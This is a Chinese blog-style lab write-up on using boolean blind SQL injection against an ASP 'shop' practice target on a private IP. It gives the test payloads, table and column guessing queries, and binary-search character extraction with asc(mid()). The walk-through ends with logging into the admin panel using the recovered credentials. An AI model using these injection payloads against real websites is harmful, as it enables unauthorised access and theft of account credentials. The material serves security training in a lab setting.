shop靶机实践sql盲注获取后台管理员账号密码

shop靶机盲注获取后台管理员账号密码

 

找到注入点。

注入点:http://192.168.244.131:60785/shop/productshopxp.asp?id=485

首先分析一下为什么确定这是一个注入点:

一、 正常页面如下:

二、 在URL后加’即http://192.168.244.131:60785/shop/productshopxp.asp?id=485’页面报错

三、 在URL后加and1=1即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=1 页面无变化

四、 在URL后加and1=2即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=2页面报错

  由以上几点可以得知,我们提交的一些数据或者命令被数据库执行,可以确定这就是一个注入点。

获得后台数据库中存储网站用户和密码的数据表。

从这个提交的数据我们大概可以猜测该注入为数字型的注入  sql语句大致如下:

Select  * from 表名 where id = 数字

判断是否存在某个表我们用下面的语句

and exists(select count(*) from 表名)

如果存在,则页面无变化,如果不存在,则页面返回没有此id的商品

我们先测试下admin这个表是否存在

and exists(select count(*) from admin)

 

 

发现页面无变化,则存在该表,再测一下users这个表

 

发现报错,大致可以认为该后台数据库中存储网站用户和密码的数据表,

那我们再测一下这个表中是否存在users或者user或者admin 和password这两列是否存在

and exists(select count(password)from admin)

 

and exists(select count(users)from admin)

结果发现users和user这两列都不对

再试试admin

and exists(select count(admin)from admin)

发现admin这一列存在,则可以确定如下:

存储账号和密码的表为admin

逐位猜解出用户名和密码(只需写出猜解前两位的过程)。

猜解用户名和密码时,我们需要一位一位的猜解,首先是要获取某一行的用户名和密码的长度,用法如下:

and (select top 1 len(admin) fromadmin)>一个数字

这里用二分法确定其长度和每一位字段的ascll值,

and (select top 1 len(admin) fromadmin)>7

发现报错

and (select top 1 len(admin) fromadmin)>4

页面正常

and (select top 1 len(admin) fromadmin)>5

页面报错,则admin表中用户名这一列第一行用户名长度为5

下面开始猜解每一位的ascll值

and (select top 1 asc(mid(admin,1,1))from admin)>97

这里top 1代表第一行   (admin,1,1)中第一个1为第一位,第二个1代表偏移几位,

页面报错

 

and (select top 1 asc(mid(admin,1,1))from admin)>50

页面正常

通过这样的方式确定admin第一行第一个字母ascll值为97 对照一下得a

下面猜测第二位

and (select top 1 asc(mid(admin,2,1))from admin)>99

 

 

页面正常

 

and (select top 1 asc(mid(admin,2,1))from admin)>100

 

页面报错 则第二位ascll值为100  是d

循环这样的方式最后得admin第一行为admin,password为MD5加密后的密码  解密后为admin

用获得的用户名和密码验证是否能登陆。

找到管理页面,

http://192.168.244.131:60785/shop/admin/login.asp

 

 

管理登录成功!

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值